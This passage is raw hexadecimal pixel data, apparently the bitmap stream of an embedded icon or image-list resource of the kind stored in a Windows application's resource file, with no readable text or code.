C100BEDCC100F6EDE600CFAE9900000000000000000000000000C9C9C900E4E4\n      E400B6B6B6009E9E9E009E9E9E00C9C9C900D5D5D5002241B2004948ED003A3B\n      EA00343BE800343BE800163EAB000000000000000000000000005B58F6FF6562\n      FAFF7170FFFF5956F6FF4442EEFF00000000000000003734E9FF4745F2FF6362\n      FFFF4A48F4FF2F2DE9FF0000000000000000F2D1B100EAD8CC00FEFEFE00D9B7\n      A000FEFEFE00FEFEFE00FEFEFE00FEFEFE00FEFEFE00FEFEFE00FEFEFE00FEFE\n      FE00CCA08100FEFEFE00DEC1AD00C38F670000000000CFAA9200F8F3EF00BEDC\n      C100BEDCC100BEDCC100AED3C4009BC8C9006DAED100BEDCC100BEDCC100BEDC\n      C100BEDCC100F6EDE600CFAE9900000000000000000000000000B6B6B600DDDD\n      DD00D5D5D500D5D5D500DDDDDD00D5D5D500D5D5D500324DC6005C59EF004948\n      ED00403FEA003E40EA001C43B500000000000000000000000000000000005B59\n      F6FF6663FAFF7471FFFF5A58F6FF4543EEFF403EECFF504DF4FF6867FFFF504E\n      F5FF3634EBFF000000000000000000000000F2D1B100ECDCD100DFC3B000DEC1\n      AD00D9B8A200D9B7A000D7B59D00D7B59D00D3AD9300D3AD9300D0A78B00D0A7\n      8B00CDA28400CDA28400E0C4B200C7946D0000000000CFAA9200F8F3EF004BA7\n      76004BA776004BA77600347A9900539ED200539ED2003E85AE003F9966003D97\n      64003D976400F6EDE600CFAE9900000000000000000000000000DDDDDD00D5D5\n      D500C9C9C900C9C9C900D5D5D500B6B6B600B6B6B600324DC600706DF0006462\n      EE005757EE005453ED001E40BA00000000000000000000000000000000000000\n      00005C5AF6FF6764FAFF7472FFFF7370FFFF706EFFFF6E6CFFFF5755F7FF3F3D\n      EEFF00000000000000000000000000000000F8D8BA00ECDCD100FEFEFE00FEFE\n      FE00DEC1AD00FEFEFE00D9B8A200FEFEFE00D7B59D00FEFEFE00D3AD9300FEFE\n      FE00FEFEFE00FEFEFE00E0C4B200CD9B750000000000CFAA9200F8F3EF00E8BC\n      A000E8BCA000D0B291005D817500438D8500438D850055827F00C7A58100E0AD\n      8D00E0AD8D00F6EDE600CFAE990000000000C0C0C000ABABAB00B6B6B600D5D5\n      D500D5D5D500DDDDDD00BEBEBE0000000000000000003C4FC100384ECB00364C\n      C700324DC6002C47BC002241B200848484000000000000000000000000000000\n      0000000000005D5BF7FF7976FFFF5956FFFF5754FFFF7270FFFF4846F0FF0000\n      000000000000000000000000000000000000F8D8BA00EFE2D800E3CAB800E3CA\n      B800DFC3B000DFC3B000DFC3B000D9B8A200D9B8A200D9B8A200D7B59D00D5B0\n      9600E9D6C900FEFEFE00E3CAB800CD9B750000000000CFAA9200F8F3EF00E8BC\n      A000D0B291009EA977006EB1860064BC890060BA86006AAA7A0090926300C4A1\n      7C00DDA88700F6EDE600CFAE990000000000C9C9C900E9E9E900DDDDDD00D5D5\n      D500D5D5D500BEBEBE0000000000000000000000000000000000BEBEBE00C9C9\n      C900C0C0C000D1D1D100DDDDDD00777777000000000000000000000000000000\n      0000000000005E5BF6FF7D79FFFF5E5BFFFF5B58FFFF7674FFFF4744EFFF0000\n      000000000000000000000000000000000000FCDEC000EFE2D800FEFEFE00E5CE\n      BD00FEFEFE00DFC3B000FEFEFE00DFC3B000FEFEFE00DEC1AD00FEFEFE00D8B5\n      9D00FEFEFE00F7F3F000E5CEBD00D3A47E0000000000CFAA9200F8F3EF00E4B6\n      9900B5B2860087C1920062C48E0052BD7F004EB9790052BD7F0077AF7B00A295\n      6900DDA88700F6EDE600CFAE990000000000D5D5D500E9E9E900DDDDDD00D5D5\n      D500DDDDDD00B6B6B60000000000000000000000000000000000BEBEBE00D5D5\n      D500C9C9C900D1D1D100E4E4E400808080000000000000000000000000000000\n      00006865F9FF706DFBFF807EFFFF7E7BFFFF7C79FFFF7977FFFF5E5CF7FF4946\n      EFFF00000000000000000000000000000000FCDEC000EFE2D800EEE0D600EEE0\n      D600EEE0D600EEE0D600ECDCD100ECDCD100ECDCD100EAD8CC00EAD8CC00EAD8\n      CC00E7D3C400E7D3C400E7D3C400D3A47E0000000000CFAA9200F6F3F100E8BC\n      A000A0B27E007CCD9F005DC48F0055BF860055BF860052BD7F006BBC8600888F\n      5D00DAA38000F6EDE600D1B09C0000000000DDDDDD00D5D5D500D5D5D500DDDD\n      DD00D5D5D500C9C9C900ABABAB000000000000000000B6B6B600C9C9C900C9C9\n      C900DDDDDD00A0A0A000A0A0A000ABABAB00000000000000000000000000706D\n      FCFF7774FDFF8682FFFF7673FCFF6462F8FF605DF7FF6D6AFAFF7B79FFFF605D\n      F7FF4A47EFFF000000000000000000000000FCE1C600FCDEC000BAB8B500B2B0\n      AD00F8D8BA00F8D8BA00F8D8BA00F2D1B100EBC8AA00EBC8AA00EAC4A300E7BF\n      9E00E7BF9E00E0B69400D9AD8900E0B6940000000000CFAA9200F6F3F100E3B4\n      9600A2B57F0081D0A50064C997005DC48F0055BF860055BF860070C18D008B91\n      5E00DAA38000F6EDE600D0AE9800000000000000000000000000E4E4E400DDDD\n      DD00D5D5D500D5D5D500C9C9C900ABABAB00B6B6B600C9C9C900D5D5D500D5D5\n      D500C0C0C000C9C9C900000000000000000000000000000000007572FEFF7D7A\n      FEFF8A87FFFF7C79FDFF6C69FBFF0000000000000000615EF8FF6E6CFAFF7D7A\n      FFFF615FF7FF4B48F0FF00000000000000000000000000000000C3C3C300D1D1\n      D100000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000CFAA9200F6F3F100E4B6\n      9900B5B2860092CCA00073D2A70066CB9A0064C9970069C9970082BA8A00A498\n      6900D69C7600F8F3EF00D0AE9800000000000000000000000000D5D5D500E4E4\n      E400DDDDDD00E4E4E400E4E4E400DDDDDD00DDDDDD00E4E4E400DDDDDD00D5D5\n      D500D5D5D50092929200000000000000000000000000000000007A77FFFF817E\n      FFFF817EFEFF7471FDFF00000000000000000000000000000000625FF8FF6F6D\n      FBFF7E7CFFFF625FF8FF00000000000000000000000000000000D1D1D100C9C9\n      C900000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000D1B09C00F6F3F100E3B4\n      9600D0B29100A8B47F0092CCA00083D1A90081D0A5008AC19300999D6800C29C\n      7200D69C7600F8F3EF00D0AE9800000000000000000000000000E4E4E400E9E9\n      E900E4E4E400D5D5D500C9C9C900DDDDDD00DDDDDD00BEBEBE00BEBEBE00D5D5\n      D500E9E9E900C0C0C00000000000000000000000000000000000000000007A77\n      FFFF7976FEFF0000000000000000000000000000000000000000000000006461\n      F8FF6A68F9FF000000000000000000000000000000000000000000000000D1D1\n      D100D1D1D100C9C9C900C9C9C900C7C7C700D1D1D10000000000000000000000\n      00000000000000000000000000000000000000000000D2B4A100ECECEB00F6F3\n      F100F6F3F100F6F3F100F6F3F100F6F3F100F6F3F100F6F3F100F6F3F100F6F3\n      F100F8F3EF00F6EDE600D1B09C00000000000000000000000000E9E9E900DDDD\n      DD00D5D5D50000000000D5D5D500E4E4E400E4E4E400C0C0C00000000000C0C0\n      C000BEBEBE00D1D1D10000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000E4D3C800D3B7A600D1B0\n      9C00CFAA9200CFAA9200CFAA9200D0AE9800CFAA9200D0AE9800CFAA9200CFAA\n      9200CFAA9200D1B09C00E2D1C600000000000000000000000000000000000000\n      00000000000000000000D5D5D500E9E9E900E9E9E900C0C0C000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000E4E4E400DDDDDD0000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000000000000000000000225B\n      C0000441BB001E58BF0000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000000000000081AE91002371\n      4000186A36002371400081AE910000000000D6AA8D00CC936E00BB724100B668\n      3400B6683400B6683400AF643200AF643200AF643200AF643200A7603100AF64\n      3200A65F3000A65F3000A9673B00BB845F000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000008BAAE0002765C9002076\n      E6000578EA000163DD00064EBC00000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000087B19600278B520063B9\n      8C0094D2B10063B98C00278B520081AE9100C27C4E00EAC4AC00EAC4AC00FEFA\n      F800FEFAF800FEFAF800FEFAF800FEFAF800FEFAF800FEFAF800FEFAF800FEFA\n      F800FEFAF800C8997B00C7977800AC6A3E000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000030\n      0F0000300F000000000000300F0000300F00000000000000000075B0E5003D8F\n      DB00328AD900328AD900328AD900328AD900328AD900064EBC00629CF400177E\n      FF000075F8000075EE000367E1001D57BF00000000000000000075B0E5003D8F\n      DB00328AD900328AD900328AD900328AD900328AD9001B6C3D0063B98C005FB8\n      8600FFFFFF005FB8860063B98C001F6E3C00B9693500EDCAB200E1A17900FEFA\n      F80061BF870061BF870061BF870061BF870061BF870061BF870061BF870061BF\n      8700FEFAF800C98C6400C8997B00A65F30008080800080808000808080008080\n      8000808080008080800080808000808080008080800080808000808080008080\n      80000000000000300F000000000000000000000000004698DC00DEF0FA00A6DD\n      F4009DDBF40095DAF3008DD8F30085D7F3007ED4F2000441BB00ADCDFE00FFFF\n      FF00FFFFFF00FFFFFF00177EEF000441BB00000000004698DC00DEF0FA00A6DD\n      F4009DDBF40095DAF3008DD8F30085D7F3007ED4F200307A4B009BD4B500FFFF\n      FF00FFFFFF00FFFFFF0094D2B100186A3600B9693500EDCAB200E1A17900FEFA\n      F800BEDCC100BEDCC100BEDCC100BEDCC100BEDCC100BEDCC100BEDCC100BEDC\n      C100FEFAF800C98C6400CC9D8000A76031008080800080808000808080008080\n      8000808080008080800080808000808080008080800080808000808080008080\n      80000000000000300F000000000000000000000000003A96DB00EEFAFE00A1E9\n      F90091E5F80080E1F70071DEF60062DAF50053D7F4000C56C0008CB4F6004C91\n      FF001176FF002085FF003F89EB00225BC000000000003A96DB00EEFAFE00A1E9\n      F90091E5F80080E1F70071DEF60062DAF50053D7F400438861008FD3B00094D2\n      B100FFFFFF0063B98C0063B98C001F6E3C00BA6C3900EED0B900E1A17900FEFA\n      F80061BF870061BF870061BF870061BF870061BF870061BF870061BF870061BF\n      8700FEFAF800CC936E00CEA28300AF6432008080800080808000FFFFFF00FFFF\n      FF00FFFFFF0080808000FFFFFF00FFFFFF00FFFFFF0080808000808080008080\n      80000000000000300F000000000000000000000000003A9BDB00F1FAFD00B2ED\n      FA00A1E9F90091E5F80080E1F70075DEF60062DAF5003A9BDB003774D2008CB4\n      F600B7D6FE0071A7F5002C6BCB0000000000000000003A9BDB00F1FAFD00B2ED\n      FA00A1E9F90091E5F80080E1F70075DEF60062DAF50053B2AD0060AA800094D2\n      B100B9E6D00069BA8E002C8E560081AE9100B9693500EED0B900E1A17900FEFA\n      F800FEFAF800FEFAF800FEFAF800FEFAF800FEFAF800FEFAF800FEFAF800FEFA\n      F800FEFAF800D3956C00D2A68900A760310080808000FFFFFF00808080008080\n      8000FFFFFF0080808000FFFFFF008080800080808000FFFFFF00808080008080\n      80000000000000300F0000000000000000000000000039A2DA00F1FAFD00C8F2\n      FC00B8EFFB00ABECFA00A1E9F9008AE3F7007BE0F6006BDCF6003A9BDB00155C\n      C5000441BB001958C0001F75CA00000000000000000039A2DA00F1FAFD00C8F2\n      FC00B8EFFB00ABECFA00A1E9F9008AE3F7007BE0F6006BDCF6005AB6B3005796\n      74004E8D650043886100348C920000000000B9693500F0D2BD00E1A17900E1A1\n      7900E1A17900E1A17900E1A17900E0A07700DE9E7500DE9E7500DE9E7500D698\n      6F00D6986F00D6986F00D6AA8D00AF6432008080800080808000FFFFFF00FFFF\n      FF00FFFFFF0080808000FFFFFF008080800080808000FFFFFF00808080008080\n      80000000000000300F0000000000000000000000000039A2DA00FFFFFF00FFFF\n      FF00F1FAFD00FFFFFF00EEFAFE00DEF0FA0091E5F80084E2F70075DEF6006BDC\n      F6005BD8F400D7F4FC0039A2DA00000000000000000039A2DA00FFFFFF00FFFF\n      FF00F1FAFD00FFFFFF00EEFAFE00DEF0FA0091E5F80080E1F70075DEF6006BDC\n      F6005BD8F400DEF0FA0037ABDA0000000000B9693500F2D5C100E1A17900E1A1\n      7900E1A17900E1A17900E1A17900E1A17900E0A07700DE9E7500DE9E7500DE9E\n      7500DE9E7500D6986F00DAAF9400AF6432008080800080808000808080008080\n      8000FFFFFF0080808000FFFFFF008080800080808000FFFFFF00808080008080\n      80000000000000300F0000000000000000000000000037ABDA00E9F6FB0093D4\n      EF0087CEEE0072C0E900C9E9F600EEFAFE00F1FAFD00F1FAFD00F1FAFD00EEFA\n      FE00EEFAFE00FFFFFF003BACDB00000000000000000037ABDA00E9F6FB0093D4\n      EF0087CEEE0072C0E900C9E9F600EEFAFE00F1FAFD00F1FAFD00F1FAFD00EEFA\n      FE00EEFAFE00FFFFFF003BACDB0000000000B9693500F2D8C400E1A17900E1A1\n      7900E1A17900E1A17900E1A17900E1A17900E1A17900DE9E7500DE9E7500DE9E\n      7500D6986F00DE9E7500DDB49900AF6432008080800080808000FFFFFF00FFFF\n      FF008080800080808000FFFFFF00FFFFFF00FFFFFF0080808000808080008080\n      80000000000000300F000000000000000000000000003BACDB00F1FAFD0095DA\n      F30095DAF3007ED4F20069CAED0069CAED0085D7F3007FD2EF0079D0EF0075CF\n      EE0075CFEE00E9F6FB003CB0DB0000000000000000003BACDB00F1FAFD0095DA\n      F30095DAF3007ED4F20069CAED0069CAED0085D7F3007FD2EF0079D0EF0075CF\n      EE0075CFEE00E9F6FB003CB0DB0000000000B9693500F2D8C400E8A77D00C98C\n      6400C98C6400CD8F6700CC936E00CC936E00C98C6400C98C6400C88B6300C98C\n      6400C98C6400DE9E7500DDB49900B66834008080800080808000808080008080\n      80008080800080808000FFFFFF00808080008080800080808000808080008080\n      80000000000000300F000000000000000000000000003FB2DC00F1FAFD008DE4\n      F8008AE3F7009EE0F500ABE1F600F1FAFD00F1FAFD00F1FAFD00F1FAFD00EEFA\n      FE00EEFAFE00FFFFFF0057BBE00000000000000000003FB2DC00F1FAFD008DE4\n      F8008AE3F7009EE0F500ABE1F600F1FAFD00F1FAFD00F1FAFD00F1FAFD00EEFA\n      FE00EEFAFE00FFFFFF0057BBE00000000000B9693500F4DCC900E8A77D00F9EC\n      E100F9ECE100F9ECE100FCF4EE00FEFAF800FEFAF800F9ECE100F6E5D900F6E5\n      D900F6E5D900DE9E7500E4BDA300B66834008080800080808000808080008080\n      80008080800080808000FFFFFF00808080008080800080808000808080008080\n      80000000000000300F000000000000000000000000003CB0DB00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00FFFFFF00EEFAFE006EC8E3006EC8E3006EC8E3006EC8\n      E3007CCEE6007FD2EF000000000000000000000000003CB0DB00FFFFFF00FFFF\n      FF00FFFFFF00FFFFFF00FFFFFF00EEFAFE006EC8E3006EC8E3006EC8E3006EC8\n      E3007CCEE60079D0EF000000000000000000BA6C3900F4DCC900E8A77D00FCF4\n      EE00F9ECE100C98C6400FCF4EE00FCF4EE00FEFAF800FCF4EE00F8E8DE00F6E5\n      D900F6E5D900E0A07700E7C1A800B66834008080800080808000808080008080\n      8000808080008080800080808000808080008080800080808000808080008080\n      80000000000000300F0000000000000000000000000058C1E00061C2E10061C2\n      E10061C2E10061C2E10061C2E10055BEDF000000000000000000000000000000\n      0000000000000000000000000000000000000000000058C1E00061C2E10061C2\n      E10061C2E10061C2E10061C2E10055BEDF000000000000000000000000000000\n      000000000000000000000000000000000000BE724100F6E0D100E8A77D00FCF6\n      F100FCF6F100C98C6400F9ECE100FCF6F100FEFAF800FEFAF800FAF0E900F8E8\n      DE00F6E5D900E1A17900EFD5C200B66834008080800080808000808080008080\n      8000808080008080800080808000808080008080800080808000808080000030\n      0F0000300F000000000000300F0000300F000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000C5805300F6E0D100E9A97F00FEFA\n      F800FEFAF800C98C6400FCF6F100FCF4EE00FCF4EE00FEFAF800FCF6F100F9EC\n      E100F8E7DB00EED0B900EED0B900BB7241000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000D2A68900F4DCC900F6E0D100FEFA\n      F800FEFAF800FEFAF800FCF4EE00FAF0E900FCF4EE00FEFAF800FEFAF800FCF4\n      EE00F8E8DE00EED0B900CC936E00000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000D8AA8C00C8875D00BE72\n      4100B9693500B9693500B9693500B9693500B9693500B9693500BA6C3900BA6C\n      3900BB724100C98C640000000000000000000000000000000000999999007E7E\n      7E007E7E7E00767676007E7E7E0076767600767676007676760076767600037E\n      26007E7E7E009595950000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000004D69760025475800254758002547\n      5800254758002547580032516100000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000085858500F1F1F100E9E9\n      E900E9E9E900E9E9E900E9E9E900E9E9E900F1F1F100E9E9E90013853F003B9F\n      5B0008863700FAFAFA0085858500000000000000000000000000000000000000\n      00007E7E7E006767670071717100717171006D6D6D006D6D6D00595959007E7E\n      7E00000000000000000000000000000000000000000000000000909191007B7B\n      7B008686860086868600868686002E4A58004191BC006BB6E00066B1DE0066B1\n      DE005AA7DC0056A4DB002B83C80032516100D9BBA500C28C6600BF8A6500BC86\n      6200BC866200B6805D00B57F5D00B57F5D00B57F5D00AE785600AE785600AC76\n      5500AC765500A8715100AC765500C6A794000000000085858500E9E9E900E9E9\n      E900E9E9E900E9E9E900E9E9E900E9E9E900E9E9E900288F420046A4660081C1\n      960046A46600199047007E7E7E00000000000000000000000000000000009999\n      9900A5A5A500C6C6C600E5E5E500E5E5E500E5E5E500DADADA00B5B5B5008888\n      88009999990000000000000000000000000000000000A6A6A600B2B2B200D1D1\n      D100EAEAEA00EAEAEA00EAEAEA003957660063ACCD007EDCFA0075D8F90089E0\n      F70068CBF50059C3F10059AADD0021445500C8926B0051515100515151005151\n      5100515151005151510059595900515151005151510059595900595959005959\n      5900595959005959590059595900A8715100000000007E7E7E00E9E9E900E9E9\n      E900E9E9E900E9E9E900E9E9E900E1E1E100288F420042A05E0081C1960066B4\n      810089C6A0004EAA730027975600000000000000000000000000000000007E7E\n      7E00C0C0C000E5E5E500DADADA00DADADA00D2D2D200D2D2D20085858500A5A5\n      A5005E5E5E000000000000000000000000000000000090919100CDCDCD00EAEA\n      EA00E6E6E600E6E6E600D8D8D8003B58670063ACCD007EDCFA0075D8F9004FA4\n      D50064C1EC004CBFF00059AADD0025475800C8926B004D4D4D003D3D3D003D3D\n      3D003D3D3D004141410041414100414141004141410041414100414141004141\n      41004D4D4D004141410059595900AC7655000000000085858500E9E9E900E9E9\n      E900E9E9E900E9E9E900E9E9E900037A1D0042A05E007FC0950069B5840060B2\n      7F0073BB8F0090CBA90059B28000309E64000000000000000000000000007E7E\n      7E00DADADA00E5E5E500C6C6C600E5E5E500D2D2D200D2D2D20085858500AEAE\n      AE006D6D6D000000000000000000000000000000000096969600E6E6E600E6E6\n      E600D1D1D100E6E6E600D8D8D8003B5867006FB8D10093EAFF0096E4FF0097DB\n      F7008DDBFC006DD6FC0066B6E40021445500C8926B004D4D4D00393939003939\n      39003D3D3D003D3D3D003D3D3D003D3D3D004141410041414100414141004141\n      4100414141004141410059595900AC7655000000000085858500F1F1F100E9E9\n      E900E9E9E900E9E9E900E9E9E90012843000128A3A003B9F5B0087C49D0066B4\n      81008FCAA80054AE7B0033A36D003BA775000000000000000000000000008585\n      8500E5E5E500DADADA00C6C6C600DADADA00D2D2D200D2D2D20085858500B5B5\n      B5006D6D6D000000000000000000000000000000000098989800EAEAEA00E6E6\n      E600D1D1D100E6E6E600D8D8D8004D6976005B9FB500B0BABB007FB6CB0074BF\n      DE0070AFCC0099A8AA005392B60032516100D19B720041414100393939002D2D\n      2D00393939003939390039393900393939003D3D3D003D3D3D003D3D3D003D3D\n      3D00414141004141410051515100AC7655000000000085858500F1F1F100E9E9\n      E900E9E9E900E9E9E900E9E9E900E9E9E900E9E9E900128A3A0089C6A0006AB7\n      880090CBA9002F9D620085858500000000000000000000000000000000008888\n      8800E8E8E800E5E5E500C6C6C600E5E5E500D2D2D200D2D2D20088888800B5B5\n      B500717171000000000000000000000000000000000098989800EAEAEA00EAEA\n      EA00D1D1D100E6E6E600D8D8D8009CA8AD0032516100B0A8A600325161003957\n      660021445500918A86003B58670000000000D19B7200414141002D2D2D002D2D\n      2D002D2D2D002D2D2D00393939002D2D2D003939390039393900393939003D3D\n      3D003D3D3D003D3D3D0051515100AE7856000000000089898900F1F1F100E9E9\n      E900E9E9E900E9E9E900E9E9E900E9E9E900E9E9E900168F43008DC9A5006EB9\n      8D0090CBA90033A36D0085858500000000000000000000000000000000008888\n      8800E8E8E800DADADA00C6C6C600E5E5E500D2D2D200D2D2D20095959500B5B5\n      B5007E7E7E0000000000000000000000000000000000A6A6A600EAEAEA00E6E6\n      E600D1D1D100E6E6E600E6E6E600D1D1D1001D3F500091999D00A7A8A800797F\n      8300969696008C9092002144550000000000D19B72003D3D3D002D2D2D00CFCF\n      CF00ACACAC002D2D2D002D2D2D002D2D2D002D2D2D00393939002D2D2D003939\n      390039393900393939004D4D4D00B57F5D000000000089898900F1F1F100E9E9\n      E900E9E9E900E9E9E900E9E9E900E9E9E900E9E9E900199047008FCAA80090CB\n      A90095CEAF0037A36E0085858500000000000000000000000000000000008888\n      8800E5E5E500E5E5E500DADADA00DADADA00DADADA00C6C6C600A5A5A500B5B5\n      B5007E7E7E000000000000000000000000000000000098989800EAEAEA00E6E6\n      E600E6E6E600E6E6E600E6E6E600D1D1D10078868D0021445500717E84008A92\n      96006E7D84002E4A58000000000000000000D7A0770039393900212121002121\n      2100DEDEDE00737373002D2D2D002D2D2D002D2D2D002D2D2D002D2D2D002D2D\n      2D00393939003939390041414100B57F5D000000000089898900F1F1F100F1F1\n      F100E9E9E900E9E9E900E9E9E900E9E9E900E1E1E10027975600289A5A00309E\n      640033A36D0037A36E0089898900000000000000000000000000000000008888\n      8800B5B5B50095959500858585007E7E7E007E7E7E008585850088888800A5A5\n      A5008585850000000000000000000000000000000000A6A6A600BDBDBD00A6A6\n      A60096969600909191009091910096969600A0A0A000989FA2004C616B004B67\n      750068808B00000000000000000000000000D9A17800393939001F1F1F00CFCF\n      CF00ACACAC00212121002121210021212100212121002D2D2D002D2D2D002D2D\n      2D002D2D2D002D2D2D0041414100B8825E000000000089898900F1F1F100E9E9\n      E900E9E9E900E9E9E900E9E9E900E9E9E900E1E1E100E1E1E100D5D5D500D5D5\n      D500D2D2D200F5F5F50089898900000000000000000000000000000000008888\n      8800A5A5A500C6C6C600E8E8E800F6F6F600F6F6F600E5E5E500D2D2D200A5A5\n      A500858585000000000000000000000000000000000098989800B2B2B200D8D8\n      D800EAEAEA00F7F7F700F7F7F700EAEAEA00D8D8D800B2B2B200989898000000\n      000000000000000000000000000000000000D7A07700393939001F1F1F001F1F\n      1F001F1F1F0021212100212121002D2D2D00212121002D2D2D002D2D2D002D2D\n      2D002D2D2D003939390041414100B8825E000000000089898900FAFAFA00E9E9\n      E900E9E9E900E9E9E900E1E1E100E1E1E100D8D8D800D5D5D500E9E9E900F1F1\n      F100F5F5F500F1F1F1008585850000000000000000000000000000000000A5A5\n      A500F6F6F600E8E8E800E8E8E800E5E5E500DADADA00E8E8E800E8E8E800F6F6\n      F6009999990000000000000000000000000000000000B2B2B200F7F7F700F7F7\n      F700EAEAEA00E6E6E600E6E6E600EAEAEA00F7F7F700F7F7F700B2B2B2000000\n      000000000000000000000000000000000000D7A077002D2D2D002D2D2D003939\n      39002D2D2D003939390039393900393939003939390039393900393939003D3D\n      3D003D3D3D003D3D3D0041414100BC8662000000000089898900F1F1F100E9E9\n      E900E1E1E100E1E1E100E1E1E100E1E1E100E1E1E100D5D5D500FAFAFA00E9E9\n      E900DDDDDD00B2B2B200A9A9A90000000000000000000000000000000000AEAE\n      AE00DADADA00E5E5E500A5A5A500DADADA00E5E5E500B5B5B500E5E5E500DADA\n      DA00AEAEAE0000000000000000000000000000000000BDBDBD00E6E6E600E6E6\n      E600B2B2B200E6E6E600E6E6E600C4C4C400E6E6E600E2E2E200BDBDBD000000\n      000000000000000000000000000000000000D9A17800D9A17800D7A07700D19B\n      7200D9A17800D19B7200D19B7200CE986F00CE986F00C8926B00C8926B00C892\n      6B00C7906A00C28C6600C28C6600BF8A65000000000095959500F1F1F100E1E1\n      E100E9E9E900E1E1E100E1E1E100E1E1E100D5D5D500D5D5D500FAFAFA00D5D5\n      D500A9A9A900A1A1A1000000000000000000000000000000000000000000C0C0\n      C000C6C6C600C6C6C600A5A5A500A5A5A500A5A5A500AEAEAE00C6C6C600C6C6\n      C600C0C0C00000000000000000000000000000000000C4C4C400D1D1D100D8D8\n      D800B2B2B200B2B2B200BDBDBD00BDBDBD00D8D8D800CDCDCD00C4C4C4000000\n      000000000000000000000000000000000000DDAB8400F1DCCE00EAC09F00E8B8\n      9100E8B89100E8B89100E8B89100E8B89100E8B89100CDC8C400E8B89100CDC8\n      C400E8B891004363FF00EAC09F00C08F6F0000000000A1A1A100F1F1F100F1F1\n      F100E9E9E900F1F1F100F1F1F100F1F1F100F1F1F100F1F1F100E9E9E900A9A9\n      A900A1A1A1000000000000000000000000000000000000000000000000000000\n      0000C6C6C600C0C0C000B5B5B500B5B5B500B5B5B500C0C0C000B5B5B500C6C6\n      C600000000000000000000000000000000000000000000000000D1D1D100C4C4\n      C400C4C4C400C4C4C400C4C4C400CDCDCD00C4C4C400D1D1D100000000000000\n      000000000000000000000000000000000000E5BFA200DEB39000DCA57900D9A1\n      7800D9A17800D9A17800D9A17800D19B7200D19B7200D19B7200D19B7200CE98\n      6F00C8926B00C8926B00C59D7E00D0AC92000000000000000000A9A9A9009595\n      950089898900959595008989890089898900959595008989890099999900B5B5\n      B500000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000000000000000000000D0B3\n      A100BE927700AD744E00AD744E00AD744E00AD744E00AD744E00AD744E00AE77\n      5300CEAF9D000000000000000000000000000000000000000000000000000000\n      000000000000000000005E9D63FF000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000999999007E7E\n      7E007E7E7E0077777700777777007E7E7E0077777700968A21009A9228009E99\n      3000A29F3600A4A23C000000000000000000000000000000000000000000B17D\n      5C00EEECEA00F7F2F000F7F2F000F7F2F000F8F2ED00F6F1EC00F7F2F000F6F1\n      EC00AE7753000000000000000000000000000000000000000000000000000000\n      00000000000066B06EFF46A250FF000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000075B0E5003D8FDB003289\n      D9003289D9003289D9003289D9003289D9003289D9003289D9003289D9003289\n      D9003289D90084B8E80000000000000000000000000086868600F1F1F100E9E9\n      E900E9E9E900E9E9E900E9E9E900E5E5E500F1F1F10091831C00CAC48F00CDC9\n      9300CDC99300A4A23C008686860000000000000000000000000000000000AA6C\n      4400F8F2ED00FDE8D700FDE8D700FDE8D700FDE8D700FDE8D700FDE8D700F6ED\n      E500AD744E000000000000000000000000000000000000000000000000000000\n      000066B06EFF46A250FF46A250FF3D8B44FF37833EFF327B37FF3D7F43FF6496\n      68FF000000000000000000000000000000004698DC00DEF0FA00A6DDF4009DDB\n      F40095DAF3008DD8F30085D7F3007ED4F2007ED4F20071D2F10071D2F10068CF\n      F100C1EAF8003E93DB000000000000000000000000007E7E7E00E9E9E900E9E9\n      E900E9E9E900E9E9E900E5E5E500E9E9E900E5E5E5008F7F1600CAC48F00B9B2\n      6E00CDC99300A29F36007777770000000000000000000000000000000000AA6C\n      4400F6F1EC0080614100AB815700AB815700AB815700AB81570080614100F6ED\n      E500A96A4200AD744E00AE775300CEAF9D0000000000000000000000000073BD\n      7CFF73BD7CFF96D19FFF94CF9CFF8FCD96FF8ACA91FF85C78BFF7ABE81FF65AD\n      6CFF4B9251FF68976BFF00000000000000003E93DB00EEFAFE00A1E9F90091E5\n      